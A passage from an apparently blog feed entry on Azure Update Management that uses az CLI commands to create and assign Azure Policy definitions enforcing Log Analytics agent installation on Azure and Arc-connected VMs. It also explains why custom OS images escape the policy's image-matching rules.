az policy definition create <span class="nt">--name</span> <span class="s2">"</span><span class="nv">$text</span><span class="s2">"</span> <span class="nt">--display-name</span> <span class="s2">"</span><span class="nv">$text</span><span class="s2">"</span> <span class="nt">--description</span> <span class="s2">"</span><span class="nv">$text</span><span class="s2">"</span> <span class="nt">--rules</span> policy_windows.rules.json <span class="nt">--params</span> policy_windows.param.json <span class="nt">--mode</span> Indexed</code></pre></figure> <h4 id="policy-definition-for-azure-linux-vms">Policy definition for Azure Linux VMs</h4> <p>You’ll find the necessary files below :</p> <ul> <li><a href="https://github.com/Molx32/AzureUpdateManagement/blob/main/policies/policy_linux.rules.json">policy_arc_windows.rules.json</a></li> <li><a href="https://github.com/Molx32/AzureUpdateManagement/blob/main/policies/policy_linux.param.json">policy_arc_windows.param.json</a></li> </ul> <figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">text</span><span class="o">=</span><span class="s2">"Enforce Log Analytics agent install on Azure Linux VMs"</span>
az policy definition create <span class="nt">--name</span> <span class="s2">"</span><span class="nv">$text</span><span class="s2">"</span> <span class="nt">--display-name</span> <span class="s2">"</span><span class="nv">$text</span><span class="s2">"</span> <span class="nt">--description</span> <span class="s2">"</span><span class="nv">$text</span><span class="s2">"</span> <span class="nt">--rules</span> policy_linux.rules.json <span class="nt">--params</span> policy_linux.param.json <span class="nt">--mode</span> Indexed</code></pre></figure> <h3 id="assign-policies">Assign policies</h3> <p>We can now assign our policies to different scopes. According to the scheme, we first need to assign the following policies at the subscription level :</p> <ul> <li><b>Enforce Log Analytics agent install on Azure Windows VMs</b></li> <li><b>Enforce Log Analytics agent install on Azure Linux VMs</b></li> </ul> <figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">policy</span><span class="o">=</span><span class="s2">"Enforce Log Analytics agent install on Azure Windows VMs"</span>
<span class="nv">name</span><span class="o">=</span><span class="s2">"Update management onboarding for Azure Windows VMs"</span>
az policy assignment create <span class="nt">--name</span> <span class="s2">"</span><span class="nv">$name</span><span class="s2">"</span> <span class="nt">--scope</span> <span class="s1">'/subscriptions/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx'</span> <span class="nt">--policy</span> <span class="s2">"</span><span class="nv">$policy</span><span class="s2">"</span>

<span class="nv">policy</span><span class="o">=</span><span class="s2">"Enforce Log Analytics agent install on Azure Linux VMs"</span>
<span class="nv">name</span><span class="o">=</span><span class="s2">"Update management onboarding for Azure Linux VMs"</span>
az policy assignment create <span class="nt">--name</span> <span class="s2">"</span><span class="nv">$name</span><span class="s2">"</span> <span class="nt">--scope</span> <span class="s1">'/subscriptions/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx'</span> <span class="nt">--policy</span> <span class="s2">"</span><span class="nv">$policy</span><span class="s2">"</span></code></pre></figure> <p>Then, we can assign policies on OVH, OCI and GCP resource groups.</p> <ul> <li><b>Enforce Log Analytics agent install on Azure ARC Windows VMs</b></li> <li><b>Enforce Log Analytics agent install on Azure ARC Linux VMs</b></li> </ul> <figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># For Windows machines
</span>
<span class="nv">policy</span><span class="o">=</span><span class="s2">"Enforce Log Analytics agent install on Azure ARC Windows VMs"</span>
<span class="c"># OVH
</span>
<span class="nv">name</span><span class="o">=</span><span class="s2">"Enforce Log Analytics agent install on Azure ARC Windows VMs - OVH"</span>
az policy assignment create <span class="nt">--name</span> <span class="s2">"</span><span class="nv">$name</span><span class="s2">"</span> <span class="nt">--scope</span> <span class="s1">'/subscriptions/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx'</span> <span class="nt">--policy</span> <span class="s2">"</span><span class="nv">$policy</span><span class="s2">"</span>
<span class="c"># OCI
</span>
<span class="nv">name</span><span class="o">=</span><span class="s2">"Enforce Log Analytics agent install on Azure ARC Windows VMs - OCI"</span>
az policy assignment create <span class="nt">--name</span> <span class="s2">"</span><span class="nv">$name</span><span class="s2">"</span> <span class="nt">--scope</span> <span class="s1">'/subscriptions/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx'</span> <span class="nt">--policy</span> <span class="s2">"</span><span class="nv">$policy</span><span class="s2">"</span>
<span class="c"># GCP
</span>
<span class="nv">name</span><span class="o">=</span><span class="s2">"Enforce Log Analytics agent install on Azure ARC Windows VMs - GCP"</span>
az policy assignment create <span class="nt">--name</span> <span class="s2">"</span><span class="nv">$name</span><span class="s2">"</span> <span class="nt">--scope</span> <span class="s1">'/subscriptions/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx'</span> <span class="nt">--policy</span> <span class="s2">"</span><span class="nv">$policy</span><span class="s2">"</span>

<span class="c"># For Linux machines
</span>
<span class="nv">policy</span><span class="o">=</span><span class="s2">"Enforce Log Analytics agent install on Azure ARC Linux VMs"</span>
<span class="c"># OVH
</span>
<span class="nv">name</span><span class="o">=</span><span class="s2">"Enforce Log Analytics agent install on Azure ARC Linux VMs - OVH"</span>
az policy assignment create <span class="nt">--name</span> <span class="s2">"</span><span class="nv">$name</span><span class="s2">"</span> <span class="nt">--scope</span> <span class="s1">'/subscriptions/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/resourceGroups/myGroup'</span> <span class="nt">--policy</span> <span class="s2">"</span><span class="nv">$policy</span><span class="s2">"</span>
<span class="c"># OCI
</span>
<span class="nv">name</span><span class="o">=</span><span class="s2">"Enforce Log Analytics agent install on Azure ARC Linux VMs - OCI"</span>
az policy assignment create <span class="nt">--name</span> <span class="s2">"</span><span class="nv">$name</span><span class="s2">"</span> <span class="nt">--scope</span> <span class="s1">'/subscriptions/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/resourceGroups/myGroup'</span> <span class="nt">--policy</span> <span class="s2">"</span><span class="nv">$policy</span><span class="s2">"</span>
<span class="c"># GCP
</span>
<span class="nv">name</span><span class="o">=</span><span class="s2">"Enforce Log Analytics agent install on Azure ARC Linux VMs - GCP"</span>
az policy assignment create <span class="nt">--name</span> <span class="s2">"</span><span class="nv">$name</span><span class="s2">"</span> <span class="nt">--scope</span> <span class="s1">'/subscriptions/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/resourceGroups/myGroup'</span> <span class="nt">--policy</span> <span class="s2">"</span><span class="nv">$policy</span><span class="s2">"</span></code></pre></figure> <h3 id="limits">Limits</h3> <p>If you take a look at the Windows policy, you’ll notice that the policy is more complex, and that all supported Windows OS are explicitly described in the policy <b>if</b> statement. Altough this policy should work in most cases, it does not work if you use custom OS, and here is why : when using custom OS, the OS property in the VM object is referenced as <b>storageProfile.imageReference.id</b>, as you can see in the sample.</p> <figure class="highlight"><pre><code class="language-json" data-lang="json"><span class="nl">"properties"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"vmId"</span><span class="p">:</span><span class="w"> </span><span class="s2">"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"hardwareProfile"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
            </span><span class="nl">"vmSize"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Standard_F4s_v2"</span><span class="w">
        </span><span class="p">},</span><span class="w">
        </span><span class="nl">"additionalCapabilities"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
            </span><span class="nl">"ultraSSDEnabled"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
        </span><span class="p">},</span><span class="w">
        </span><span class="nl">"storageProfile"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
            </span><span class="nl">"imageReference"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/subscriptions/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/resourceGroups/rg_iac_001/providers/Microsoft.Compute/galleries/sig_iac_001/images/iac-Windows2019-Template/versions/0.0.2"</span><span class="p">,</span><span class="w">
                </span><span class="nl">"exactVersion"</span><span class="p">:</span><span class="w"> </span><span class="s2">"0.0.2"</span><span class="w">
            </span><span class="p">},</span></code></pre></figure> <p>That being said, let’s now take a look at the policy : you can see that the policy never evaluates the property <b>storageProfile.imageReference.id</b>. Thus, VMs with custom OSs won’t be evaluated by the policy, and the Log Analytics agent won’t be onboarded. To make this work, you need to tweak the policy.</p> <figure class="highlight"><pre><code class="language-json" data-lang="json"><span class="nl">"if"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"allOf"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
        </span><span class="p">{</span><span class="w">
        </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"type"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"equals"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/virtualMachines"</span><span class="w">
        </span><span class="p">},</span><span class="w">
        </span><span class="p">{</span><span class="w">
        </span><span class="nl">"anyOf"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
            </span><span class="p">{</span><span class="w">
            </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageId"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"in"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[parameters('listOfImageIdToInclude')]"</span><span class="w">
            </span><span class="p">},</span><span class="w">
            </span><span class="p">{</span><span class="w">
            </span><span class="nl">"allOf"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                </span><span class="p">{</span><span class="w">
                </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imagePublisher"</span><span class="p">,</span><span class="w">
                </span><span class="nl">"equals"</span><span class="p">:</span><span class="w"> </span><span class="s2">"RedHat"</span><span class="w">
                </span><span class="p">},</span><span class="w">
                </span><span class="p">{</span><span class="w">
                </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageOffer"</span><span class="p">,</span><span class="w">
                </span><span class="nl">"in"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                    </span><span class="s2">"RHEL"</span><span class="p">,</span><span class="w">
                    </span><span class="s2">"RHEL-SAP-HANA"</span><span class="w">
                </span><span class="p">]</span><span class="w">
                </span><span class="p">},</span><span class="w">
                </span><span class="p">{</span><span class="w">
                </span><span class="nl">"anyOf"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                    </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageSKU"</span><span class="p">,</span><span class="w">
                    </span><span class="nl">"like"</span><span class="p">:</span><span class="w"> </span><span class="s2">"6.*"</span><span class="w">
                    </span><span class="p">},</span><span class="w">
                    </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageSKU"</span><span class="p">,</span><span class="w">
                    </span><span class="nl">"like"</span><span class="p">:</span><span class="w"> </span><span class="s2">"7*"</span><span class="w">
                    </span><span class="p">},</span><span class="w">
                    </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageSKU"</span><span class="p">,</span><span class="w">
                    </span><span class="nl">"like"</span><span class="p">:</span><span class="w"> </span><span class="s2">"8*"</span><span class="w">
                    </span><span class="p">}</span><span class="w">
                </span><span class="p">]</span><span class="w">
                </span><span class="p">}</span><span class="w">
            </span><span class="p">]</span><span class="w">
            </span><span class="p">},</span><span class="w">
            </span><span class="p">{</span><span class="w">
            </span><span class="nl">"allOf"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                </span><span class="p">{</span><span class="w">
                </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imagePublisher"</span><span class="p">,</span><span class="w">
                </span><span class="nl">"equals"</span><span class="p">:</span><span class="w"> </span><span class="s2">"SUSE"</span><span class="w">
                </span><span class="p">},</span><span class="w">
                </span><span class="p">{</span><span class="w">
                </span><span class="nl">"anyOf"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                    </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"allOf"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                        </span><span class="p">{</span><span class="w">
                        </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageOffer"</span><span class="p">,</span><span class="w">
                        </span><span class="nl">"in"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                            </span><span class="s2">"SLES"</span><span class="p">,</span><span class="w">
                            </span><span class="s2">"SLES-HPC"</span><span class="p">,</span><span class="w">
                            </span><span class="s2">"SLES-HPC-Priority"</span><span class="p">,</span><span class="w">
                            </span><span class="s2">"SLES-SAP"</span><span class="p">,</span><span class="w">
                            </span><span class="s2">"SLES-SAP-BYOS"</span><span class="p">,</span><span class="w">
                            </span><span class="s2">"SLES-Priority"</span><span class="p">,</span><span class="w">
                            </span><span class="s2">"SLES-BYOS"</span><span class="p">,</span><span class="w">
                            </span><span class="s2">"SLES-SAPCAL"</span><span class="p">,</span><span class="w">
                            </span><span class="s2">"SLES-Standard"</span><span class="w">
                        </span><span class="p">]</span><span class="w">
                        </span><span class="p">},</span><span class="w">
                        </span><span class="p">{</span><span class="w">
                        </span><span class="nl">"anyOf"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                            </span><span class="p">{</span><span class="w">
                            </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageSKU"</span><span class="p">,</span><span class="w">
                            </span><span class="nl">"like"</span><span class="p">:</span><span class="w"> </span><span class="s2">"12*"</span><span class="w">
                            </span><span class="p">},</span><span class="w">
                            </span><span class="p">{</span><span class="w">
                            </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageSKU"</span><span class="p">,</span><span class="w">
                            </span><span class="nl">"like"</span><span class="p">:</span><span class="w"> </span><span class="s2">"15*"</span><span class="w">
                            </span><span class="p">}</span><span class="w">
                        </span><span class="p">]</span><span class="w">
                        </span><span class="p">}</span><span class="w">
                    </span><span class="p">]</span><span class="w">
                    </span><span class="p">},</span><span class="w">
                    </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"allOf"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                        </span><span class="p">{</span><span class="w">
                        </span><span class="nl">"anyOf"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                            </span><span class="p">{</span><span class="w">
                            </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageOffer"</span><span class="p">,</span><span class="w">
                            </span><span class="nl">"like"</span><span class="p">:</span><span class="w"> </span><span class="s2">"sles-12-sp*"</span><span class="w">
                            </span><span class="p">},</span><span class="w">
                            </span><span class="p">{</span><span class="w">
                            </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageOffer"</span><span class="p">,</span><span class="w">
                            </span><span class="nl">"like"</span><span class="p">:</span><span class="w"> </span><span class="s2">"sles-15-sp*"</span><span class="w">
                            </span><span class="p">}</span><span class="w">
                        </span><span class="p">]</span><span class="w">
                        </span><span class="p">},</span><span class="w">
                        </span><span class="p">{</span><span class="w">
                        </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageSKU"</span><span class="p">,</span><span class="w">
                        </span><span class="nl">"in"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                            </span><span class="s2">"gen1"</span><span class="p">,</span><span class="w">
                            </span><span class="s2">"gen2"</span><span class="w">
                        </span><span class="p">]</span><span class="w">
                        </span><span class="p">}</span><span class="w">
                    </span><span class="p">]</span><span class="w">
                    </span><span class="p">}</span><span class="w">
                </span><span class="p">]</span><span class="w">
                </span><span class="p">}</span><span class="w">
            </span><span class="p">]</span><span class="w">
            </span><span class="p">},</span><span class="w">
            </span><span class="p">{</span><span class="w">
            </span><span class="nl">"allOf"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                </span><span class="p">{</span><span class="w">
                </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imagePublisher"</span><span class="p">,</span><span class="w">
                </span><span class="nl">"equals"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Canonical"</span><span class="w">
                </span><span class="p">},</span><span class="w">
                </span><span class="p">{</span><span class="w">
                </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageOffer"</span><span class="p">,</span><span class="w">
                </span><span class="nl">"in"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                    </span><span class="s2">"UbuntuServer"</span><span class="p">,</span><span class="w">
                    </span><span class="s2">"0001-com-ubuntu-server-focal"</span><span class="w">
                </span><span class="p">]</span><span class="w">
                </span><span class="p">},</span><span class="w">
                </span><span class="p">{</span><span class="w">
                </span><span class="nl">"anyOf"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                    </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageSKU"</span><span class="p">,</span><span class="w">
                    </span><span class="nl">"like"</span><span class="p">:</span><span class="w"> </span><span class="s2">"14.04*LTS"</span><span class="w">
                    </span><span class="p">},</span><span class="w">
                    </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageSKU"</span><span class="p">,</span><span class="w">
                    </span><span class="nl">"like"</span><span class="p">:</span><span class="w"> </span><span class="s2">"16.04*LTS"</span><span class="w">
                    </span><span class="p">},</span><span class="w">
                    </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageSKU"</span><span class="p">,</span><span class="w">
                    </span><span class="nl">"like"</span><span class="p">:</span><span class="w"> </span><span class="s2">"16_04*lts-gen2"</span><span class="w">
                    </span><span class="p">},</span><span class="w">
                    </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageSKU"</span><span class="p">,</span><span class="w">
                    </span><span class="nl">"like"</span><span class="p">:</span><span class="w"> </span><span class="s2">"18.04*LTS"</span><span class="w">
                    </span><span class="p">},</span><span class="w">
                    </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageSKU"</span><span class="p">,</span><span class="w">
                    </span><span class="nl">"like"</span><span class="p">:</span><span class="w"> </span><span class="s2">"18_04*lts-gen2"</span><span class="w">
                    </span><span class="p">},</span><span class="w">
                    </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageSKU"</span><span class="p">,</span><span class="w">
                    </span><span class="nl">"like"</span><span class="p">:</span><span class="w"> </span><span class="s2">"20_04*lts"</span><span class="w">
                    </span><span class="p">},</span><span class="w">
                    </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageSKU"</span><span class="p">,</span><span class="w">
                    </span><span class="nl">"like"</span><span class="p">:</span><span class="w"> </span><span class="s2">"20_04*lts-gen2"</span><span class="w">
                    </span><span class="p">}</span><span class="w">
                </span><span class="p">]</span><span class="w">
                </span><span class="p">}</span><span class="w">
            </span><span class="p">]</span><span class="w">
            </span><span class="p">},</span><span class="w">
            </span><span class="p">{</span><span class="w">
            </span><span class="nl">"allOf"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                </span><span class="p">{</span><span class="w">
                </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imagePublisher"</span><span class="p">,</span><span class="w">
                </span><span class="nl">"equals"</span><span class="p">:</span><span class="w"> </span><span class="s2">"credativ"</span><span class="w">
                </span><span class="p">},</span><span class="w">
                </span><span class="p">{</span><span class="w">
                </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageOffer"</span><span class="p">,</span><span class="w">
                </span><span class="nl">"equals"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Debian"</span><span class="w">
                </span><span class="p">},</span><span class="w">
                </span><span class="p">{</span><span class="w">
                </span><span class="nl">"anyOf"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                    </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageSKU"</span><span class="p">,</span><span class="w">
                    </span><span class="nl">"like"</span><span class="p">:</span><span class="w"> </span><span class="s2">"8*"</span><span class="w">
                    </span><span class="p">},</span><span class="w">
                    </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageSKU"</span><span class="p">,</span><span class="w">
                    </span><span class="nl">"like"</span><span class="p">:</span><span class="w"> </span><span class="s2">"9*"</span><span class="w">
                    </span><span class="p">}</span><span class="w">
                </span><span class="p">]</span><span class="w">
                </span><span class="p">}</span><span class="w">
            </span><span class="p">]</span><span class="w">
            </span><span class="p">},</span><span class="w">
            </span><span class="p">{</span><span class="w">
            </span><span class="nl">"allOf"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                </span><span class="p">{</span><span class="w">
                </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imagePublisher"</span><span class="p">,</span><span class="w">
                </span><span class="nl">"equals"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Oracle"</span><span class="w">
                </span><span class="p">},</span><span class="w">
                </span><span class="p">{</span><span class="w">
                </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageOffer"</span><span class="p">,</span><span class="w">
                </span><span class="nl">"equals"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Oracle-Linux"</span><span class="w">
                </span><span class="p">},</span><span class="w">
                </span><span class="p">{</span><span class="w">
                </span><span class="nl">"anyOf"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                    </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageSKU"</span><span class="p">,</span><span class="w">
                    </span><span class="nl">"like"</span><span class="p">:</span><span class="w"> </span><span class="s2">"6.*"</span><span class="w">
                    </span><span class="p">},</span><span class="w">
                    </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageSKU"</span><span class="p">,</span><span class="w">
                    </span><span class="nl">"like"</span><span class="p">:</span><span class="w"> </span><span class="s2">"7.*"</span><span class="w">
                    </span><span class="p">}</span><span class="w">
                </span><span class="p">]</span><span class="w">
                </span><span class="p">}</span><span class="w">
            </span><span class="p">]</span><span class="w">
            </span><span class="p">},</span><span class="w">
            </span><span class="p">{</span><span class="w">
            </span><span class="nl">"allOf"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                </span><span class="p">{</span><span class="w">
                </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imagePublisher"</span><span class="p">,</span><span class="w">
                </span><span class="nl">"equals"</span><span class="p">:</span><span class="w"> </span><span class="s2">"OpenLogic"</span><span class="w">
                </span><span class="p">},</span><span class="w">
                </span><span class="p">{</span><span class="w">
                </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageOffer"</span><span class="p">,</span><span class="w">
                </span><span class="nl">"in"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                    </span><span class="s2">"CentOS"</span><span class="p">,</span><span class="w">
                    </span><span class="s2">"Centos-LVM"</span><span class="p">,</span><span class="w">
                    </span><span class="s2">"CentOS-SRIOV"</span><span class="w">
                </span><span class="p">]</span><span class="w">
                </span><span class="p">},</span><span class="w">
                </span><span class="p">{</span><span class="w">
                </span><span class="nl">"anyOf"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                    </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageSKU"</span><span class="p">,</span><span class="w">
                    </span><span class="nl">"like"</span><span class="p">:</span><span class="w"> </span><span class="s2">"6.*"</span><span class="w">
                    </span><span class="p">},</span><span class="w">
                    </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageSKU"</span><span class="p">,</span><span class="w">
                    </span><span class="nl">"like"</span><span class="p">:</span><span class="w"> </span><span class="s2">"7*"</span><span class="w">
                    </span><span class="p">},</span><span class="w">
                    </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageSKU"</span><span class="p">,</span><span class="w">
                    </span><span class="nl">"like"</span><span class="p">:</span><span class="w"> </span><span class="s2">"8*"</span><span class="w">
                    </span><span class="p">}</span><span class="w">
                </span><span class="p">]</span><span class="w">
                </span><span class="p">}</span><span class="w">
            </span><span class="p">]</span><span class="w">
            </span><span class="p">},</span><span class="w">
            </span><span class="p">{</span><span class="w">
            </span><span class="nl">"allOf"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                </span><span class="p">{</span><span class="w">
                </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imagePublisher"</span><span class="p">,</span><span class="w">
                </span><span class="nl">"equals"</span><span class="p">:</span><span class="w"> </span><span class="s2">"cloudera"</span><span class="w">
                </span><span class="p">},</span><span class="w">
                </span><span class="p">{</span><span class="w">
                </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageOffer"</span><span class="p">,</span><span class="w">
                </span><span class="nl">"equals"</span><span class="p">:</span><span class="w"> </span><span class="s2">"cloudera-centos-os"</span><span class="w">
                </span><span class="p">},</span><span class="w">
                </span><span class="p">{</span><span class="w">
                </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.Compute/imageSKU"</span><span class="p">,</span><span class="w">
                </span><span class="nl">"like"</span><span class="p">:</span><span class="w"> </span><span class="s2">"7*"</span><span class="w">
                </span><span class="p">}</span><span class="w">
            </span><span class="p">]</span><span class="w">
            </span><span class="p">}</span><span class="w">
        </span><span class="p">]</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">]</span><span class="w">
    </span><span class="p">}</span></code></pre></figure>]]></content><author><name>Molx32</name></author><category term="updatemanagement"/><summary type="html"><![CDATA[This post describes how to implement Azure policies]]></summary></entry></feed>